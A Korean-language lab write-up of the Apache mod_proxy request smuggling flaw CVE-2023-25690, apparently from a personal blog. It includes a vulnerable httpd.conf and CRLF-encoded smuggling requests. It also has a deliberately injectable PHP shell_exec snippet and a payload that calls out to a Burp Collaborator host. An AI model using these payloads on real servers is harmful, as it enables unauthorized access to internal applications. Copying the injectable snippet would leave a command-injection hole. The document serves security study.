Apache HTTP Request Smuggling Vulnerability CVE-2023-25690 문서를 해석하고 정리해보았다.
Severity:High
여러 개의 HTTP 요청이 서버나 프록시에서 잘못 처리되어 공격자가 의도하지 않은 작업을 수행하도록 하는 기술
주로 여러 HTTP 요청이 동일한 연결(Connection)을 통해 전송될 때 발생
이 때, 각 요청의 헤더(Content-Length 등)를 잘못 계산하거나 해석함으로써 공격자는 서버나 프록시에서 의도하지 않은 효과를 얻을 수 있음
중간 서버 역할
캐싱:
웹 서버가 해석하는 HTTP 요청을 여러 개의 요청으로 분리하여 처리하도록 유도하는 공격
공격자는 여러 개의 HTTP 요청이 하나의 요청으로 해석되는 상황을 만들어낼 수 있다. 공격의 핵심은 HTTP 헤더를 특정한 방식으로 조작하여 여러 요청을 나누는 것
example
GET /path HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
GET /path HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Injected-Header: Evil-Request
Content-Length: 0
GET /malicious-path HTTP/1.1
Host: attacker.com
User-Agent: Mozilla/5.0
Injected-Header
와 Content-Length
를 이용하여 원래의 요청을 두 개의 요청으로 나누었다.
공격자가 입력 데이터에 제어 문자인 CRLF 문자열을 삽입하여 응용프로그램의 동작을 변경하거나 공격자에게 유리한 상황을 만들어내는 공격
CRLF 문자열은 캐리지 리턴 (\r
)과 라인 피드 (\n
)로 이루어져 있다. 이 문자열은 텍스트 기반 프로토콜에서 줄 바꿈을 나타내는데 사용. 주로 HTTP 헤더의 종료와 새로운 헤더의 시작을 나타내는 데 사용되기 때문에, CRLF Injection은 HTTP 헤더 인젝션 공격으로도 알려져 있다.
아파치 HTTP 서버 버전(2.4.0에서 2.4.55까지)에서는 mod_proxy 모듈의 특정 구성이 HTTP Request Smuggling 공격을 허용할 수 있다. 이 취약점은 mod_proxy가 활성화되어 있고 RewriteRule 또는 ProxyPassMatch와 함께 사용될 때 발생. 특히, RewriteRule이나 ProxyPassMatch에서 사용자가 제공한 요청-대상(URL) 데이터의 일부를 비구체적인 패턴과 일치시키고, 그 후에 해당 패턴이 변수 대체를 통해 프록시된 요청-대상으로 다시 삽입될 때 영향을 받음
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Load necessary modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
설정 설명
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
RewriteEngine on:
RewriteEngine on
은 Apache 설정에 포함되어 있어 URL 재작성 엔진을 활성화 함. URL 재작성은 클라이언트 브라우저가 요청한 URL을 서버가 콘텐츠를 제공하기 전에 동적으로 다른 URL로 변경할 수 있게 하는 기술RewriteRule:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1" [P]
과 같은 RewriteRule 지시문이 있다고 가정^/categories/(.*)
를 사용하여 값을 캡처http://example-shop.com:8080/categories?id=1
로 변경하고 캡처한 값을 query parameter로 추가[P] 플래그:
[P]
플래그는 Apache에게 수정된 URL을 프록시 요청으로 처리하라고 지시ProxyPassReverse:
ProxyPassReverse /categories/ http://example-shop.com:8080/
은 백엔드 서버의 도메인과 경로를 프록시 서버의 도메인과 경로로 대체GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
이렇게 요청 url 을 변경하면 \r\n 이 추가되어 새로운 헤더로 인식하게 됨
%20
: 공백(space)%0d
: 캐리지 리턴 (\r
)%0a
: 라인 피드 (\n
)GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
이렇게 두 개의 요청으로 나뉘어지게 됨
만약 내부 코드에 이런 secret 코드가 있었다면:
#Internal secret functionality
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
이런 요청을 보내서 숨겨진 기능을 사용할 수 있음
burp collaborator에서 요청 확인 가능
이 취약성의 영향은 공격자가 역방향 프록시에 의해 숨겨져야 하는 내부 응용프로그램을 대상으로 하고 액세스할 수 있도록 하여 무단 액세스, 데이터 유출 또는 추가 공격으로 이어질 가능성이 있다.